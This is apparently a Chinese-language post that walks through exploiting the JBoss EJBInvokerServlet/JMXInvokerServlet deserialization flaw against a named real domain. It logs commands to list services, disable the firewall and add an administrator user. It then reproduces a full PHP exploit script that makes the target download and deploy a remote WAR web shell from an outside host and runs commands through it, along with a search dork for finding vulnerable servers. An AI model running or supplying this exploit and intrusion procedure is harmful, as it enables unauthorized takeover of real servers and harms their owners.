Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE漏洞利用

检测发现存在Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE漏洞，该漏洞是2013年10月4日公布的。漏洞利用方法如下：

D:\ProgramFiles\PHPnow-1.5.6\php-5.2.14-Win32>php.exe  shell.php csice.org.cn  “systeminfo”    //查看系统信息

D:\ProgramFiles\PHPnow-1.5.6\php-5.2.14-Win32>php.exe  shell.php csice.org.cn  “netstat -an”    //查看系统端口

发现开放了远程3389，尝试连接，失败。

这里判断可能是防火墙限制了远程访问地址，查看下系统开启的服务，

D:\ProgramFiles\PHPnow-1.5.6\php-5.2.14-Win32>php.exe  shell.php csice.org.cn  “net start”    //查看系统服务

发现开启了windows 防火墙，这里关闭防火墙，

D:\Program Files\PHPnow-1.5.6\php-5.2.14-Win32>php.exe shell.php csice.org.cn “net stop sharedaccess”

下面的思路很简单了，添加用户-提升至管理员组-再次远程连接

D:\Program Files\PHPnow-1.5.6\php-5.2.14-Win32>php.exe shell.php csice.org.cn “net user”

D:\Program Files\PHPnow-1.5.6\php-5.2.14-Win32>php.exe shell.php csice.org.cn “net localgroup administrators”

Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE

/*

Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object

Remote Code Execution

google dork: inurl:status EJBInvokerServlet

this was used successfully on Windows during a penetration test against

McAfee Web Reporter 5.2.1 (tcp port 9111/http) gaining administrative privileges

see: http://www.mcafee.com/it/downloads/downloads.aspx

file tested: webreporter64bit.zip

Usage:

C:\PHP>php 9sg_ejb.php 192.168.0.1 id

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=2006101

62339)/Tomcat-5.5

Set-Cookie: JSESSIONID=E9EEE1D6AD27D64ED3835C1092C4FC29; Path=/

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 43

Date: Fri, 04 Oct 2013 07:25:48 GMT

Connection: close

uid=0(root) gid=0(root) groups=0(root)

C:\PHP>

~ rgod ~

*/

$host=$argv[1];

$cmd=$argv[2];

//$port=9111; //mcafee

$port=80;

//small jsp shell

//change this if you want, url to the app to be deployed, keep it short

$url="http://retrogod.altervista.org/a.war?";

$url_len=pack("n",strlen($url));

function hex_dump($data, $newline="\n") {

static $from = '';

static $to = '';

static $width = 16; static $pad = '.';

if ($from==='') {

for ($i=0; $i<=0xFF; $i++) {

$from .= chr($i);

$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;

}

}

$hex = str_split(bin2hex($data), $width*2);

$chars = str_split(strtr($data, $from, $to), $width);

$offset = 0;

foreach ($hex as $i => $line) {

echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;

$offset += $width;

}

}

$frag_i=

"\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos

"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar

"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio

"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw

"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav

"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger..

"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu

"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N

"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........

"\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb

"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M

"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue..

"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";

$frag_ii="\x00";

$frag_iii=

"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava.

"\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X.

"\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr.

"\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen

"\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name....

"\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos

"\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service

"\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt.

"\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~.....

"\x01\x74".

$url_len.

$url.

"\x75\x72\x00".

"\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la

"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V...

"\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja

"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";

$frag_iv=

"\x0d\xd3".

"\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org

"\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio

"\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey.

"\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord

"\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~..

"\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x

"\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~......

"\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in

"\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat

"\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|..

"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp..

"\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt..

"\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs

"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem

"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName..

"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb

"\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi

"\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx

"\x78"; // x

$data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv;

//$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ...

$pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n".

"ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n".

"Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n".

"User-Agent: Java/1.6.0_21\r\n".

"Host: ".$host.":".$port."\r\n".

"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n".

"Connection: keep-alive\r\n".

"Content-type: application/x-www-form-urlencoded\r\n".

"Content-Length: ".strlen($data)."\r\n\r\n".

$data;

echo hex_dump($pk)."\n";

$fp=fsockopen($host,$port,$e,$err,3);

fputs($fp,$pk);

$out=fread($fp,8192);

fclose($fp);

echo hex_dump($out)."\n";

sleep(5);

$pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".

"Host: ".$host.":".$port."\r\n".

"Connection: Close\r\n\r\n";

echo hex_dump($pk)."\n";

$fp=fsockopen($host,$port,$e,$err,3);

fputs($fp,$pk);

$out="";

while (!feof($fp)) {

$out.=fread($fp,8192);

}

fclose($fp);

echo $out;

?>